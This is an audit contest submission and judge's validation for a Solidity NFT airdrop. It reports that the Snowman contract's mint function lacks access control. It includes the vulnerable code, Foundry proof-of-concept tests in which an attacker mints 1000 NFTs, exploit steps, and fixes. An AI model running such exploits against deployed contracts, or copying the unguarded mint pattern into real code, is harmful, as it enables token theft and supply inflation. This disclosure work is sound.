Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Snowman::mintSnowman() has no access control allowing anyone to mint unlimited NFTs

Root + Impact

Description

In the Snowman Merkle Airdrop protocol, Snowman NFTs are intended to be distributed exclusively through the SnowmanAirdrop contract. The expected flow is: users earn or buy Snow (ERC20) tokens, then claim Snowman (ERC721) NFTs by providing a valid Merkle proof and signature via SnowmanAirdrop::claimSnowman(). This mechanism ensures only eligible users who have staked Snow tokens receive Snowman NFTs.

However, the Snowman::mintSnowman() function in Snowman.sol (line 36) is declared as external with zero access control. There is no onlyOwner modifier, no role-based access check, and no allowlist restricting who can call it. This means any external account can directly call mintSnowman() to mint an arbitrary number of Snowman NFTs to any address, completely bypassing the Merkle proof verification, signature validation, and Snow token staking requirements enforced by SnowmanAirdrop.

The root cause is the missing access control on the mint function:

// @> No access control modifier - anyone can call
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

The impact is critical: the entire airdrop system (Merkle proofs, signatures, Snow token staking) is rendered meaningless since attackers can obtain NFTs without any prerequisites. This destroys the economic value of both the Snow token and Snowman NFT.

Risk

Likelihood: High

  • Any external user can call Snowman::mintSnowman() directly at any time with no restrictions

  • The function is publicly visible on the blockchain and requires no special conditions, timing, or privileges to exploit

  • Automated bots can discover and exploit this immediately after deployment

Impact: High

  • An attacker can mint unlimited Snowman NFTs to their own address or any address, inflating supply to infinity

  • The Merkle-based airdrop mechanism in SnowmanAirdrop becomes entirely pointless since NFTs can be obtained for free

  • The economic value of Snowman NFTs is destroyed due to unlimited supply

  • The Snow token loses its utility since staking is no longer required to obtain Snowman NFTs

  • Legitimate users who earned or purchased Snow tokens and went through the proper claim process are disadvantaged

Proof of Concept

The following Foundry test demonstrates that an attacker with no Snow tokens, no Merkle proof, and no signature can mint 1000 Snowman NFTs directly. Place this test in the existing test file and run with forge test --mt testExploit_AnyoneCanMintUnlimitedNFTs -vvv:

function testExploit_AnyoneCanMintUnlimitedNFTs() public {
// Setup: attacker has no Snow tokens and is not in the Merkle tree
address attacker = makeAddr("attacker");
assertEq(snow.balanceOf(attacker), 0); // no Snow tokens
assertEq(snowman.balanceOf(attacker), 0); // no Snowman NFTs
// Attack: directly call mintSnowman bypassing the entire airdrop system
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000);
// Result: attacker now has 1000 Snowman NFTs without staking any Snow
assertEq(snowman.balanceOf(attacker), 1000);
// Token counter confirms 1000 NFTs were minted
assertEq(snowman.getTokenCounter(), 1000);
}

Step-by-step exploit:

  1. Attacker deploys no contracts and holds no tokens

  2. Attacker calls snowman.mintSnowman(attackerAddress, 1000000) directly

  3. 1,000,000 Snowman NFTs are minted to the attacker's address

  4. The attacker can sell these on secondary markets before legitimate users claim theirs

Recommended Mitigation

Add an access control mechanism that restricts minting to only the SnowmanAirdrop contract. The recommended approach is to store the airdrop contract address and add a modifier:

// Add state variable
address private immutable i_airdropContract;
// Add modifier
modifier onlyAirdrop() {
if (msg.sender != i_airdropContract) {
revert SM__NotAllowed();
}
_;
}
// Update constructor to accept and store the airdrop address
constructor(string memory _SnowmanSvgUri, address _airdropContract)
ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
i_airdropContract = _airdropContract;
}
// Apply modifier to mint function
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Note: The contract already defines an SM__NotAllowed() error that is currently unused, suggesting this access control was intended but not implemented.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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